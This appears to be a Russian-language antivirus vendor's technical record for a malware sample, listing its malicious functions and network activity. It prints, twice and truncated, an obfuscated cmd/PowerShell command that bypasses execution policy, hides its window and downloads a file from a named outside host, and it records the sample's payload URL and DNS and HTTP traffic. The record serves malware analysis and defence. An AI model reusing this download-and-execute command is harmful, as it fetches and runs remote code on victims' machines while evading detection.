Техническая информация
Вредоносные функции
Загружает и запускает на исполнение
- http://asecwitlecn.bid/read.php?f=0.dat как %appdata%.exe
Запускает на исполнение (эксплоит)
- '<SYSTEM32>\cmd.exe' /c "p^oWeR^sHell.eXE^ ^-exec^U^tIOnPO^lic^y ByPA^s^s -^N^o^pRo^file ^-^Wi^ndo^wStY^Le ^HidDe^N^ ^(^NEW-^oBjEc^t^ SY^sTe^m.^ne^t.^web^Cl^i^ENt^)^.D^OwnL^o^A^d^File^('http://asecwitlecn...
Сетевая активность
Подключается к
- 'as###itlecn.bid':80
TCP
Запросы HTTP GET
- http://as###itlecn.bid/read.php?f=#####
UDP
- DNS ASK as###itlecn.bid
Другое
Создает и запускает на исполнение
- '<SYSTEM32>\cmd.exe' /c "p^oWeR^sHell.eXE^ ^-exec^U^tIOnPO^lic^y ByPA^s^s -^N^o^pRo^file ^-^Wi^ndo^wStY^Le ^HidDe^N^ ^(^NEW-^oBjEc^t^ SY^sTe^m.^ne^t.^web^Cl^i^ENt^)^.D^OwnL^o^A^d^File^('http://asecwitlecn...' (со скрытым окном)
